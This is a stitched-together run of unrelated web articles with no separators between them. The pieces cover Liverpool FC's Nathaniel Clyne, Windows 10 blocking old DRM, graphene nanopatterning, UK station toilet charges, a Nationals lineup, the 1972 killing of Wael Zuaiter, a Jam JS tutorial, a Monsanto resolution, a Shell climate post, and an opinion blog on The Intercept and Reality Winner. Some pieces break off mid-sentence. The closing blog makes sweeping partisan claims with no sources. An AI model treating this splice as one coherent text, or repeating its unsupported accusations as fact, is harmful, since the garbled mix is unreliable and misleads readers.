(Image: Liverpool FC/Getty Images)
“I got a kick and it was very painful when I tried to run. Everyone knows I don’t like missing games. If I’ve got a knock or a strain I’ll play with it because I enjoy playing so much and want to contribute so sitting out a few games was tough.”
Since the squad reconvened at Melwood on Tuesday Clyne says Klopp’s message has been to look forward rather than back.
Despite the torrent of criticism, the Reds stand just a point adrift of the Champions League spots and the former Saints defender remains bullish about their chances of a top-four finish as they prepare to face Mauricio Pochettino’s in-form side.
“We’ve put what happened against Hull to bed,” he added.
“We can’t dwell on that any longer. Now it’s about what we’ve got coming up.
“We’ve worked on a lot of things this week - set-pieces, defending as a team and also our movements when we attack. It’s been about what we need to do as a team to get the three points.
“We’ve got 14 games to go and there’s a lot to play for. I still believe we’ve got the quality to finish in that top four.”
(Image: Liverpool FC)
To achieve that Liverpool must rise to the occasion against second placed Spurs, who are unbeaten in 11 matches. Clyne knows all about the threat posed by the England duo of Harry Kane and Deli Alli.
“They’re doing the business at the top end for Tottenham and scoring a lot of goals,” Clyne said.
“If we keep them quiet then we’ll have a real possibility of getting a positive result.
“Spurs picked up where they left off last season. They are a top side with quality all over the pitch.
“But we’ll take confidence from the draw at White Hart Lane earlier this season. We were the better team and cruising before they equalised.
“Beating Spurs would definitely change the mood - we’d only be one point behind them. We know how important this game is.”
Nathaniel Clyne was at Kirkby High School supporting the biggest grassroots football tournament in the country – the PlayStation Schools’ Cup. Since its launch over 150,000 players have been involved. Clyne met youngsters from both teams before Kirkby High School beat local rivals All Saints Catholic High School 6-2 in the Year 7 fixture.
For more details visit: www.playstationschoolscup.comWhile Windows 10 is largely good news for gamers, it turns out that those with a collection of older games laden with DRM copy protection software are going to have a hard time getting them up and running on the new OS. In an interview with Rocket Beans TV (as translated by Rock, Paper, Shotgun) at this year's Gamescom, Microsoft's Boris Schneider-Johne explained that that Windows 10 won't be able to run games that use SafeDisc and SecuROM technology.
"Everything that ran in Windows 7 should also run in Windows 10," said Johne, "There are just two silly exceptions: antivirus software, and stuff that’s deeply embedded into the system needs updating—but the developers are on it already—and then there are old games on CD-ROM that have DRM. This DRM stuff is also deeply embedded in your system, and that’s where Windows 10 says, 'Sorry, we cannot allow that, because that would be a possible loophole for computer viruses.' That’s why there are a couple of games from 2003-2008 with SecuROM, etc. that simply don’t run without a no-CD patch or some such."
This isn’t a bad thing for most people, though. While SafeDisc has hit the headlines before thanks to security issues in Windows—introducing access vulnerabilities into the OS, for example—it's SecuROM that is the most famous and the most hated of all DRM software. Developed by Sony DADC, SecuROM took a heavy-handed approach to DRM, limiting the number of installs and activations end users had access to, as well as requiring users to check in online to keep the game running. SecuROM even counted certain hardware changes as a change of computer, forcing another activation.
And that was when the DRM worked correctly. Often, activation servers would go down or keys wouldn't be recognised, leaving users unable to play the game they had just purchased. EA was particularly keen on SecuROM and ended up using it on a number of high-profile releases, much to the dismay of consumers. The PC version of Mass Effect was originally supposed to be reactivated every 10 days, and while that stipulation was eventually dropped, the game was still limited to three activations. Things were so bad with Spore that users eventually filled a class-action lawsuit against EA.
Fortunately, the dark days of DRM are largely behind us, and many of those older SecuROM games have since been patched by developers or publishers to remove DRM. DRM-free versions of many older releases are now available through places like GOG, too—or alternatively, should you wade into the shadier parts of the Internet, there are plenty of no-CD cracks for older games. If none of that's an option and you still fancy firing up that old disk-based copy of BioShock or Mass Effect, you might want to keep a Windows 7 install handy.Gardeners often use sheets of plastic with strategically placed holes to allow their plants to grow but keep weeds from taking root.
Scientists from UCLA’s California NanoSystems Institute have found that the same basic approach is an effective way to place molecules in the specific patterns they need within tiny nanoelectronic devices. The technique could be useful in creating sensors that are small enough to record brain signals.
Led by Paul Weiss, a distinguished professor of chemistry and biochemistry, the researchers developed a sheet of graphene material with minuscule holes in it that they could then place on a gold substrate, a substance well suited for these devices. The holes allow molecules to attach to the gold exactly where the scientists want them, creating patterns that control the physical shape and electronic properties of devices that are 10,000 times smaller than the width of a human hair.
A paper about the work was published in the journal ACS Nano.
“We wanted to develop a mask to place molecules only where we wanted them on a stencil on the underlying gold substrate,” Weiss said. “We knew how to attach molecules to gold as a first step toward making the patterns we need for the electronic function of nanodevices. But the new step here was preventing the patterning on the gold in places where the graphene was. The exact placement of molecules enables us to determine exact patterning, which is key to our goal of building nanoelectronic devices like biosensors.”
With the advance, making nanoelectronic and nanobioelectronic devices could be much more efficient than current methods of molecular patterning, which use a technique called nanolithography. Weiss said that could be especially useful for scientists who are trying to place molecular sensors on the surface of gold or other nanomaterials that are used for their sensitivity and selectivity but difficult to work with because of their size.
Neurosensors that could measure brain cell and circuit function in real time could reveal new insights into diseases like autism and depression. Ultimately, Weiss said, the researchers hope to be able to stimulate individual brain circuits using sensors so they can predict key chemical differences between function and malfunction in the brain. This knowledge could then be used to develop targets for new generations of treatments for neurological diseases.
The paper’s other authors were John Thomas, Shan Jiang, Nathan Weiss and Xiangfeng Duan of UCLA, and Matthew Gethers and William Goddard III of Caltech.
Research for the study was conducted in the Electron Imaging Center for Nanomachines and the Nano and Pico Characterization Laboratory, which are both parts of the California NanoSystems Institute.
The research was supported by the U.S. Department of Energy, the National Science Foundation, the Caltech EAS Discovery Fund and UCLA.Image caption Since 2007 passengers have paid a total of £7.3m to use the toilets at London Victoria
Network Rail collected almost £5m in 12 months from people paying to use its railway station toilets, figures show.
London Victoria topped the list, with its toilets taking £991,528 between the start of 2016/17 financial year until a 50p charge was axed last December.
Campaigners said toilet charges "add insult to injury" and called for them to be axed.
Network Rail said the money made was invested in passenger facilities.
Stations that charge for toilets include King's Cross, Euston, Liverpool Street, Paddington and Waterloo - all in London - as well as Liverpool Lime Street, Manchester Piccadilly, Edinburgh Waverley and Glasgow Central.
Network Rail also runs stations at Birmingham New Street, Bristol Temple Meads, London Cannon Street, London Charing Cross, London Bridge, Reading, London St Pancras and London Victoria, where passengers are not charged.
Image copyright PA Image caption London Waterloo is the UK's busiest railway station
Figures released by Network Rail for 2016/17 show it received £4.8m from the stations that charge.
That is down from 2015/16, in which £5.4m was paid by passengers using toilets.
'A basic need'
Passenger Julie Sather-Browne said: "It isn't free to provide them, clean them, stock them or maintain them.
"I would rather pay and have them clean for sure."
Kathryn Geels said the toilets "should be a free public service - or at least free if you have bought a train ticket. Going to the loo is a basic need."
Figures obtained by the BBC, show passengers have spent more than £41m using the toilet at Network Rail stations since 2007/08.
Image copyright Getty Images
While London Victoria looks like it is raking in the pennies spent in its toilets, per passenger it is not as lucrative as others.
The £7.3m income over 10 years comes from being one of the busiest stations in the UK, with nearly 76m entries and exits in a year.
Based on official estimates over the past 10 years, and on its current 50p tariff, that works out at 96p for every 100 passengers arriving and leaving.
In Manchester, the £3.8m income over the same period, and based on the current 30p charge, works out at £1.65 for every 100 passengers using Piccadilly over the decade.
Latest figures from the Office of Rail and Road reveal an estimated 27.8m entries and exits in 2016-17, a total of 230.4m over the course of 10 years.
Emily Yates, co-founder of the Association of British Commuters, said: "There should be no charges for people to use toilets.
"Passengers are already paying for an expensive ticket and then to have to pay extra just to use the toilet - it just adds insult to injury."
Despite Waterloo being named the UK's busiest railway station, Network Rail only has income from toilet charges for two out of the 10 financial years sampled.
Network Rail say this is because since 2012 the revenue from Waterloo has gone to the train operating company - which was South West Trains until the franchise was awarded to South Western Railway in March this year.
The rail company's UK network is divided into eight geographical routes where decisions, like whether to charge passengers to use its station's toilets, are made locally, it said.
A spokesman for Network Rail said there were no plans to axe toilet charges at the stations.
Barriers are installed outside the toilets to prevent potential overcrowding and "deter any illegal activity", said Network Rail.
The spokesman said: "We do not profit from these charges.
"The small charge we make for using the toilets helps to maintain them and prevents misuse such as vandalism and other anti-social behaviour.
"Any money raised from the charges is reinvested into the railway and passenger facilities at our stations."Bryce Harper had hurt his thumb in a slide. (Charles LeClaire/USA Today Sports)
A couple days ago, Dusty Baker approached Bryce Harper and pinched his left thumb.
“He said, ‘Ow, what’d you do that for?’ ” Baker recalled.
And that is how Baker knew Harper wasn’t 100 percent ready to play Wednesday, despite Harper telling Baker he was after X-rays confirmed his left thumb was structurally intact. Baker played it safe because it was rainy and kept him on the bench. He did the same Thursday because the conditions were soggy again and a Dodgers loss Wednesday night created some more wiggle room in the chase for home-field advantage.
But Harper is back the Nationals’ lineup Friday night against the Marlins (78-80) after missing four games. The right fielder will bat third. He was heating up before the injury, going 6 for 16 in his previous 18 plate appearances.
“He might have been ready to go [Thursday],” Baker said. “So if a guy tells me he’s ready, if I have a luxury, I like to give them one more day off. I just noticed that a lot of guys say they’re ready and you bring them back and they’re really not ready. I would prefer that you be champing at the bit to get back [instead] of a person to just say that you’re ready.”
The Nationals (93-66) enter the game with their magic number to clinch home-field advantage in the NLDS against the Dodgers at two. They would clinch it Friday with a win and a Dodgers loss to the Giants. Friday will be the Marlins’ first road game since Jose Fernandez was killed in a boating accident early last Sunday morning. Fernandez’s funeral was held in Miami on Thursday. The team flew to Washington after attending.
A.J. Cole is also in the lineup as Washington’s starting pitcher, meaning Major League Baseball hasn’t ruled on his appeal of a five-game suspension he was given for throwing behind Pirates third baseman Jung Ho Kang’s head. He’ll oppose right-hander Andrew Cashner.
Daniel Murphy and Ryan Zimmerman also aren’t in the Nationals’ lineup and isn’t expected to return from a strained buttocks injury during the regular season, but the Nationals maintain that he’ll be ready for Game 1 of the NLDS next week. Murphy hasn’t started the past 11 games. Baker said Thursday he could be available to pinch-hit this weekend.
Baker said Zimmerman, who exited Thursday’s win early, isn’t hurt. But Clint Robinson, a left-handed hitter, is in the lineup against the right-hander Cashner. Baker said that isn’t an indiciation of a plan to platoon Robinson and Zimmerman, who has a lower OPS but a higher batting average against right-handed pitchers, in the playoffs.
“That hasn’t crossed my mind,” Baker said. “I’m just trying to get Clint some ABs. I’m trying to get all these guys a few ABs, win the game, secure the homefield advantage and get them ready for what they’re going to be doing. I don’t know. I don’t really believe in platoon, platoon. There’s certain guys that I feel that Clint may have a better chance of being successful against. But that’s not a platoon for me. And also, I got to make sure Zim gets there healthy.”
Outfielder Chris Heisey hasn’t been with the team after his wife recently gave birth to the couple’s second child. He is expected to return Saturday. Heisey is the second Nationals player to leave the team for the birth of a child in September; Danny Espinosa’s wife gave birth earlier this month and he missed one game.
“This team is a baby-making team,” Baker said.
NATIONALS
CF Trea Turner
LF Jayson Werth
RF Bryce Harper
3B Anthony Rendon
2B Stephen Drew
1B Clint Robinson
SS Danny Espinosa
C Jose Lobaton
RHP A.J. Cole
MARLINS
2B Dee Gordon
LF Derek Dietrich
3B Martin Prado
CF Christian Yelich
RF Marcell Ozuna
1B Justin Bour
C J.T. Realmuto
SS Adeiny Hechavarria
RHP Andrew CashnerFamily albums have a habit of turning up surprises. When Jesse Cox found a photo of his great aunt, Australian painter Janet Venn-Brown, casually hanging out with the former chairman of the Palestinian Liberation Organisation, Yasser Arafat, he was curious to find out more. What he uncovered was a story of love, murder and mystery.
On 16 October 1972, Palestinian writer and translator Wael Zuaiter was assassinated in Rome by Mossad, Israel's secret service.
In September '72 it was an earthquake for the Israeli intelligence community. They were in shock, they didn't prepare themselves. Aaron J Klein, Israeli author
To this day there remain conflicting theories about why Zuaiter was targeted.
Was he involved in terrorism, or was he becoming too influential in Italian politics, advocating for Palestine? Or perhaps most tragically: was it a mistake, a hastily conceived plan resulting from inaccurate intelligence?
On the evening he was killed, Zuaiter had left the apartment of his fiancée, Australian painter Janet Venn-Brown. Janet is my great aunt and growing up I had heard fragments of Zuaiter's story from my mum.
I remember going to see Stephen Spielberg's Munich with her and watching a dramatised version of Zuaiter's assassination played out on the screen. I became intrigued by how our family had somehow been caught up in this much bigger story.
An international crime thriller
On 5 September 1972, members of the Palestinian terrorist group Black September disguised themselves as athletes and scaled the walls of the Olympic village in Munich. They took 11 members of the Israeli team hostage. Over a dramatic 48 hours the ordeal was broadcast live across the world; the images remain iconic more than four decades later. The siege would end in tragedy, with all the hostages killed.
Israeli author and journalist Aaron J Klein told me Israel's intelligence community was 'in shock' after the event and very quickly 'had to start fighting terrorism from zero to 100 in days'.
In an operation that would inspire Spielberg's Munich, Israel's secret intelligence service drew up a list of prominent Palestinians they claimed were involved in terrorist attacks against Israeli citizens.
The first person on the list was Wael Zuaiter. He would be killed just six weeks after the Munich attack.
'At the time, the head of the operational branch of Mossad working overseas in Europe, he told me he had only two combatants working in Europe,' Klein says. 'Only two, in very low key missions, and now he was given the task to carry out preventative operations. He had no intelligence, no targets basically, so he had to start from scratch.'
The speed at which Zuaiter was identified and assassinated could explain why the circumstances of his assassination remain contested to this day.
Klein, a former army intelligence officer, has spoken to many of the people involved in the operation and says 'they have no question marks' about the fact that Zuaiter was the right target. However, he says that if you talk to other agents who read the files a few years later when the atmosphere was calmer, '...they will come and say we have questions marks'.
Zuaiter's brother and sister, as well as my great aunt, are convinced he was intentionally targeted, not because he was linked to terrorism but because he was becoming too outspoken and influential in Italian political circles.
My aunt told me 'they [Mossad] were after all the intellectuals', while his sister Nalia says, 'they killed him because he could persuade most of the Italian intellectuals about our cause.'
In 1975 arrest warrants were issued by Italian authorities for a number of people accused of being involved in Zuaiter’s death. At the time Israel had not claimed responsibility for the mission, and in 1980 an Italian court heard the case against eight of the accused, who were all tried in absentia.
The judges cited a long list of circumstantial evidence—eyewitness accounts of two sturdily-built people fleeing the scene, notebooks with coded messages found in abandoned hotel rooms, the accused being traced to other European cities at the times other Palestinians had been assassinated. However, they lacked any evidence to prove the accused agents had ever actually been in Italy.
While the judges concluded Zuaiter had been'murdered by an organisation that planned the physical liquidation of members of the Palestinian liberation movement' and that the investigation was 'increasingly convinced that Zuaiter had been the first victim of Israeli counter-terrorism', the seven suspects were acquitted.
An Arabian folk tale
The story of One Thousand and One Nights is a classic Arabian folk tale. In it, the Sultan Shahriar takes a new bride every day, but has his wives executed the following morning. The Sultan's grand vizier, tasked with choosing the brides, has a daughter, Scheherazade, who decides to put herself forward to be the next royal bride.
Determined to end the Sultan's murderous rampage, she hatches a plan to keep herself alive.
On the night he was killed, Zuaiter was carrying a cheap paperback copy of One Thousand and One Nights. He had been translating the original Arabic into Italian, a task that is still yet to be completed. Zuaiter had been intending to write an article that night using the story of One Thousand and One Nights to show that in the history of Islam there had been no antipathy towards Jewish people.
'It's a story of survival in which a character saves herself by telling a story every night, which is why I guess it was so profound why it was that particular book that was in his pocket that night,' says Palestinian artist Emily Jacir.
The night Zuaiter was killed he was shot 13 times, with one of the bullets piercing the pages of his copy of One Thousand and One Nights.
'The fact that a bullet pierced that book in particular symbolises so much of the Palestinian trajectory and narrative,' says Jacir.
Many of the stories I heard about Zuaiter from those who knew him seem to have taken on the qualities of a folk tale. They have been told and re-told many times and it feels like they could find their way into one of the many volumes of One Thousand and One Nights.
There's the story of when he moved from Germany to Italy and carried seven bags of books but almost no clothes, or the time he did not want to kill the ants that had overrun his kitchen or close the door on a floating leaf: stories of Zuaiter the poet and intellectual.
At Zuaiter's funeral his good friend, Italian writer and intellectual Alberto Moravia, touched on these comparisons in his eulogy.
'Wael was a living incarnation of certain Arab characters, both loveable and legendary,' he said. 'A knight full of fantasy, artless, courteous and romantic, who with his simple-heartedness and vagabond spirit made one think of a world without frontiers or nationalism, vast and religious, where men used to call themselves, and often were, brothers.'
A love story
My aunt remembers being instantly attracted to Zuaiter on the day they met. 'He was very good looking, he hard dark eyes, very soft eyes in this dark-headed person, very soft eyes.'
While Janet knew very little about Palestine and the Middle East, after Zuaiter's death she became very involved in the Palestinian cause.
She published a book called For a Palestinian: A Memorial to Wael Zuaiter.
For the decade after Zuaiter's death, my aunt travelled throughout the Middle East, spending each summer painting.
An invitation from the Iraqi ambassador to visit the country turned into invitations to visit Jordan, Syria, Oman, Lebanon, Egypt, Tunisia, Morocco and more.
She visited Zuaiter's hometown of Nablus in the north of Palestine, and through her paintings became increasingly aware of and sympathetic to the Palestinian cause.
It was during this time that, while visiting Italy, Yasser Arafat called in to visit my aunt.
Janet says she is not a political person.
'I don't think anyone would believe whatever I have to tell about the situation in the Middle East, but when I tell them about Wael being killed they sit up and take notice.'
By telling people the story of Palestine, my aunt is able to keep Zuaiter's memory alive. Now in her nineties, his story is still a major part of her life.
Somewhere locked in the Mossad archives is a file on Wael Zuaiter. One day it may be declassified, but until then many will continue to debate theories about why he was killed.
Wael Zuaiter: Unknown Friday 24 April 2015 Listen to the full episode to hear more about this story of love, murder and mystery playing out against the backdrop of Israeli-Palestinian tensions. More
Illustrations by Matt Huynh. Refresh your ears with Radiotonic: a heady mix of fiction, non-fiction, essays and drama from writers, artists and radio makers, brought to you by RN’s Creative Audio Unit.Today we’ll take a look at Jam JS, a JavaScript Package Manager. This uses RequireJS to load in your required packages and makes using JavaScript libraries much easier.
The first thing to do is install it. This is done through the Node Package Manager, which I’ll presume you’ve got installed. If not, you need to install Node.js & NPM; there are plenty of resources online for helping you do this. To install simply run:
npm install -g jamjs
The -g makes it install globally, which gives you the jam command to run on the command line.
Lets create a new project, which will be a simple website with some jQuery written to change the background colour of the website. For this usually I’d pull in jQuery from Google’s CDN, but Jam can download & set this up for us.
Head into your project’s directory and run:
jam install jquery
This will download the latest version of jQuery and put it into./jam/jquery/jquery.js. By default all packages are installed to./jam. Now, we could just include that script manually, but Jam comes with RequireJS to manage this for us.
Firstly, here’s my index.html :
<!DOCTYPE html> <html> <head> <title> Jam JS </title> <script src= "jam/require.js" ></script> <script src= "app.js" ></script> </head> <body> <h2> Using Jam JS </h2> </body> </html>
The key here is including jam/require.js, which pulls in the RequireJS source, all configured to work with Jam’s directory structure for packages.
The work is done in app.js :
require(['jquery'], function () { var changeBg = function() { var body = $("body"); var colours = ["red", "blue", "green", "yellow"]; body.css("background-color", colours[Math.floor(Math.random()*colours.length)]); setTimeout(changeBg, 2000); }; $(function() { setTimeout(changeBg, 2000); }); });
That code just changes the background colour every 2 seconds, but the important bit is in the top line:
require(['jquery'], function() {});
RequireJS takes in a list of modules to load, and then a callback function to run once they are all loaded.
So far, you might be wandering what the main advantage of Jam is. So far, it’s been useful but nothing ground breaking. The main advantage for me is that you can update your scripts automatically. I don’t know about you, but a lot of my projects still use old versions of libraries because I never got round to updating them. Well, with Jam it’s as simple as:
jam upgrade
This checks all your libraries and will download new versions if required. You can also check for upgrades for an individual package:
jam upgrade jquery
However, sometimes you might want to stay at a specific version. Imagine jQuery 1.9 (not out yet, of course) introduces a change that breaks your application. You can tell Jam to lock jQuery at 1.8.x with:
jam lock jquery@1.8.x
This will allow it to upgrade jQuery all the way through 1.8 but not to 1.9. When the time comes for you to upgrade & fix those issues, you can unlock & upgrade it again:
jam unlock jquery jam upgrade jquery
To view all your packages, you can do jam ls.
You can see the list of Jam’s packages on the Jam site, and also search. Whilst Jam is relatively new and does not have a huge library, a lot of very popular tools are on Jam, including jQuery, Underscore, CoffeeScript, Backbone, Handlebars and more.
Once you’ve got all your packages installed and your website done, it’s time to put it live. We all know it’s bad practise to include all these scripts individually, so Jam provides a mechanism to pool all our scripts into one. This will compile every library and the RequireJS source into one file:
jam compile output.min.js
This will produce output.min.js which can then be included when putting your site into production.
That brings to an end this whirlwind tour of Jam JS. Tools like this are becoming all the more common for JavaScript development & that’s a good thing. In the next couple of months I’ll be taking a look at a few tools that attempt to improve the JavaScript workflow & make managing libraries and packages easier.
In a tutorial next week, I will show you how to make your own library a Jam package and publishing it for everyone to use.
Don't miss my latest course, React in Five! This course will help you level up your React skills by covering lesser known parts of the React API. Each video is less than five minutes long, and the first four are free to watch. Get started now.Press Release: Shareholder Resolution Calls on Monsanto to Disclose Financial Risks from GMOs
Harrington Investments, Inc. (HII) has re-filed a shareholder resolution calling for the Monsanto Corporation (MON) to disclose the real financial risks to shareholders and other stakeholders for producing genetically modified organisms (GMO’s) over the past two decades.
“Monsanto increasingly keeps stakeholders in the dark, about the true financial risks of GMOs,” said John Harrington, President/CEO of HII.
“Crop contamination is wreaking havoc on people’s livelihoods, and we’ve seen reports that GMO’s are in 75% of our food supply. The corporation spends an incredible amount of shareholder money to prevent American consumers from knowing the extent to which it controls our national food supply.”
The resolution specifically asks Monsanto’s Board of Directors to prepare a report assessing the actual and potential financial risks posed by the company’s GMO operations, from the cost of anti-GMO labeling campaigns to the devastating fallout of crop contamination hitting farmers around the world.
Recent polls show more than 90% of Americans want to know if their food contains GMO’s and want the option to consume non-GMO products. And while more than half of the U.S. states are trying to prepare labeling laws, Monsanto is spending tens of millions of dollars in anti-labeling campaign efforts—more than $15 million in just |
mechanic David Coungeris, receiving a 25-year sentence. Prosecutors said Bailey-Woodson claimed he killed Coungeris after the mechanic made sexual advances toward him. Bailey-Woodson’s public defender declined comment on that aspect, but argued at the time that his client was abused as a child.
Attorney Kathleen Zellner, who has won several high-profile wrongful conviction cases, supports the ban, but says the defense wouldn’t survive in court.
“Most attorneys would find it very flawed,” she said. “I would never stand in front of a jury and try to get somebody acquitted on a first-degree murder charge with that.”
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Follow Sophia Tareen on Twitter at https://twitter.com/sophiatareen
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Sign up for the AP’s weekly newsletter showcasing our best reporting from the Midwest and Texas: http://apne.ws/2u1RMfvShell CEO calls for oil industry to lead on climate policy
By Elizabeth Fisher
That collective “Say what?!” you might have heard today is the reaction of the environmental community on hearing the news that the CEO of Royal Dutch Shell is calling on Big Oil to support policies that address climate change.
From The Wall Street Journal story reporting on a speech that Shell’s Ben van Beurden planned to deliver to an oil industry conference in London Thursday evening:
Mr. van Beurden will tell a roomful of oil executives in formal wear that the industry should support policies to curb climate change, including a carbon-pricing system and “a shift from coal to natural gas”…
…The solution, Mr. van Beurden says, is for the industry to stop keeping “a low profile on the issue. I understand that tactic,” the speech says, “but in the end it’s not a good tactic.”
Instead, Mr. van Beurden plans to say, “we have to make sure that our voice is heard by members of government, by civil society and the general public.”
Shell has long advocated a price on carbon. When evaluating large engineering projects that they’re planning for 10 to 30 years in the future, Shell imposes an internal price of $40/ton of CO2. Other oil companies use a similar internal price on carbon to hedge their planning in case a fee on carbon is imposed in the future.
Angus Gillespie, VP for CO2 at Shell, told a sold-out crowd at San Francisco’s Commonwealth Club Climate One Oil Ahead (link inactive) event, that even a price of $80/ton would not significantly change Shell’s operations. But when Mary Nichols, California Air Resource Board Chair, cited $200/ton as the point needed to make fossil fuel companies pay attention, Gillespie agreed that would cause a major shift in their strategy.
Shell is counting on development of Carbon Capture and Sequestration (CCS) to allow them to burn all their reserves and then some, which is one of the reasons the company supports carbon pricing.
On CCL’s January international call, David Hone, Chief Climate Advisor at Shell, emphasized the need for business to engage in the climate change solution. Shell sees carbon pricing, which they’ve been supporting since the 1990s, as the better alternative to more command-and-control regulation from EPA and a source of funding to develop CCS, which Hone calls “a societal must have”:
“We have to get to net zero emissions by the end of the century or even before that and we can’t see a way to do that without Carbon Capture and Storage. That’s not to say that you don’t have large deployment of renewables and big changes in the energy mix, but carbon capture and storage has to come in, and pricing is really the driver for that particular technology.”
Shell is betting that CCS will eclipse the large-scale storage capacities needed for electricity from wind, water, and solar.
“We must explore and develop a new model of cross-sector collaboration,” van Beurden told the Center for Global Energy Policy at Columbia University, New York City, on September 2, 2014. He notes that the fossil fuel companies work against a background of the International Energy Agency (IEA) predicting that “meeting that [doubled from today’s energy] demand will require an average annual spend [for extraction, transport and refining of oil and gas; in power generation; and in energy efficiency] of more than $2 trillion between now and 2035.”
Compare that to The Solutions Project, led by Mark Jacobson of Stanford, which details how to apply that same amount of funding over the same time period to move to Wind, Water and Solar (WWS) to meet our energy needs. Jacobson goes even further to say that when health benefits are factored in, the price for WWS is zero.
In Thursday night’s speech, van Beurden planned to acknowledge the distrust that surrounds the oil industry on climate change:
“I’m well aware that the industry’s credibility is an issue. You cannot talk credibly about lowering emissions globally if, for example, you are slow to acknowledge climate change; if you undermine calls for an effective carbon price; and if you always descend into the ‘jobs versus environment’ argument in the public debate.”
The “jobs versus environment” argument, of course, need not be a stumbling block on the way to solutions. A Study by economic modeling firm REMI shows that a national Carbon Fee and Dividend, as proposed by former Secretary of State George Shultz and Citizens’ Climate Lobby, will actually grow the economy and grow jobs while reducing CO2 emissions, providing a dividend to all U.S. households that will more than compensate two-thirds of households for additional costs they’ll see in energy, food or other items. The key is returning the money monthly and equitably to all households to get that money right back into the economy.
The voice of the fossil fuel industry is needed in the debate, not just as the voice of “No” but in helping determine the path forward. Are they ready to lead the charge to a workable solution in which they are still players, or will their fate follow the path of those still making typewriters in a land of computers?
Shell, at least, appears willing to lead.
Liz Fisher is a volunteer with Citizens’ Climate Lobby and a member of the Oil Action Team.June 06, 2017 Do Not Trust The Intercept or How To Burn A Source Yesterday The Intercept published a leaked five page NSA analysis about alleged Russian interference in the 2016 U.S. elections. Its reporting outed the leaker of the NSA documents. That person, R.L. Winner, has now been arrested and is likely to be jailed for years if not for the rest of her life.
Intercepted source - R.L. Winner FBI search (pdf) and arrest warrant (pdf) applications unveil irresponsible behavior by the Intercept's reporters and editors which neglected all operational security trade-craft that might have prevented the revealing of the source. It leaves one scratching one's head if this was intentional or just sheer incompetence. Either way - the incident confirms what skeptics had long determined: The Intercept is not a trustworthy outlet for leaking state secrets of public interests. The Intercept was created to privatize the National Security Agency documents leaked by NSA contractor Edward Snowden. The documents proved that the NSA is hacking and copying nearly all electronic communication on this planet, that it was breaking laws that prohibited spying on U.S. citizen and that it sabotages on a large scale various kinds of commercial electronic equipment. Snowden gave copies of the NSA documents to a small number of journalists. One of them was Glenn Greenwald who now works at The Intercept. Only some 5% of the pages Snowden allegedly acquired and gave to reporters have been published. We have no idea what the unpublished pages would provide. The Intercept, a subdivision of First Look Media, was founded by Pierre Omidyar, a major owner of the auctioning site eBay and its PayPal banking division. Omidyar is a billionaire and "philanthropist" who's (tax avoiding) Omidyar Network foundation is "investing" for "returns". Its microcredit project for farmers in India, in cooperation with people from the fascists RSS party, ended in an epidemic of suicides when the farmers were unable to pay back. The Omidyar Network also funded (fascist) regime change groups in Ukraine in cooperation with USAID. Omidyar had cozy relations with the Obama White House. Some of the held back NSA documents likely implicate Omidyar's PayPal. The Intercept was funded with some $50 million from Omidyar. Its first hires were Greenwald, Jeremy Scahill and Laura Poitras - all involved in publishing the Snowden papers and other leaks. Its first piece was based on documents from the leaked NSA stack. It has since published on this or that but not in a regular media way. The Intercept pieces are usually heavily editorialized and tend to have a mainstream "liberal" to libertarian slant. Some were highly partisan anti-Syrian/pro-regime change propaganda. The website seems to have no regular publishing schedule at all. Between one and five piece per day get pushed out, only a few of them make public waves. Some of its later prominent hires (Ken Silverstein, Matt Taibbi) soon left and alleged that the place was run in a chaotic atmosphere and with improper and highly politicized editing. Despite its rich backing and allegedly high pay for its main journalists (Greenwald is said to receive between 250k and 1 million per year) the Intercept is begging for reader donations. Yesterday's published story (with bylines of four(!) reporters) begins: Russian military intelligence executed a cyberattack on at least one U.S. voting software supplier and sent spear-phishing emails to more than 100 local election officials just days before last November’s presidential election, according to a highly classified intelligence report obtained by The Intercept. The NSA "intelligence report" the Intercept publishes alongside the piece does NOT show that "Russian military intelligence executed a cyberattack". The document speaks of "cyber espionage operations" - i.e someone looked and maybe copied data but did not manipulate anything. Espionage via computer networks is something every nation in this world (and various private entities) do all the time. It is simply the collection of information. It is different from a "cyberattack" like Stuxnet which are intended to create large damage, The "attack" by someone was standard spearfishing and some visual basic scripts to gain access to accounts of local election officials. Thee is no proof that any account was compromised. Any minor criminal hacker uses similar means. No damage is mentioned in the NSA analysis. The elections were not compromised by this operation. The document notes explicitly (p.5) that the operation used some techniques that distinguish it from other known Russian military intelligence operations. It was probably -if at all- done by someone else. The reporters note that the document does not provide any raw intelligence. It is an analysis based on totally unknown material. It does not include any evidence for the claims it makes. The Intercept piece describes how the document was received and "verified": The top-secret National Security Agency document, which was provided anonymously to The Intercept and independently authenticated,...
...
The NSA and the Office of the Director of National Intelligence were both contacted for this article. Officials requested that we not publish or report on the top secret document and declined to comment on it. When informed that we intended to go ahead with this story, the NSA requested a number of redactions. The Intercept agreed to some of the redaction requests. The piece quotes at length the well known cyber security expert Bruce Schneier. It neglects to reveal that Schneier is a major partisan for Clinton who very early on, in July 2016, jumped on her "Russia hacked the Democratic National Council" claim for which there is still no evidence whatsoever. The Intercept story was published on June 5. On June 3 the FBI already received a search warrant (pdf) by the U.S. District court of southern Georgia for the home, car and computers of one Reality Leigh Winner, a 25 year old former military language specialist (Pashto, Dari, Farsi) who worked for a government contractor. In its application for the warrant the FBI asserted: 19. On or about May 24, 2017, a reporter for the News Outlet (the "Reporter") contacted another U.S. Government Agency affiliate with whom he has a prior relationship. This individual works for a contractor for the U.S. Government (the "Contractor"). The Reporter contacted the Contractor via text message and asked him to review certain documents. The Reporter told the Contractor that the Reporter had received the documents through the mail, and they were postmarked "Augusta. Georgia." WINNER resides in Augusta, Georgia. The Reporter believed that the documents were sent to him from someone working at the location where WINNER works. The Reporter took pictures of the documents and sent them to the Contractor. The Reporter asked the Contractor to determine the veracity of the documents. The Contractor informed the Reporter that he thought that the documents were fake. Nonetheless, the Contractor contacted the U.S. Government Agency on or about June 1, 2017, to inform the U.S. Government Agency of his interaction with the Reporter. Also on June I. 2017, the Reporter texted the Contractor and said that a U.S Government Agency official had verified that the document was real.... To verify the leaked document the reporter contacted a person working for the government. He used insecure communication channels (SMS) that are known to be tapped. He provided additional meta-information about the leaker that was not necessary at all for the person asked to verify the documents. It got worse: 13. On June I, 2017, the FBI was notified by the U.S. Government Agency that the U.S. Government Agency had been contacted by the News Outlet on May 30, 2017, regarding an upcoming story. The News Outlet informed the U.S Government Agency that it was in possession of what it believed to be a classified document authored by the U.S Government Agency. The News Outlet provided the U.S. Government Agency with a copy of this document. Subsequent analysis by the U.S. Government Agency confirmed that the document in the News Outlet's possession is intelligence reporting dated on or about May 5. 2017 (the "intelligence reporting"). This intelligence reporting is classified at the Top Secret level,...
...
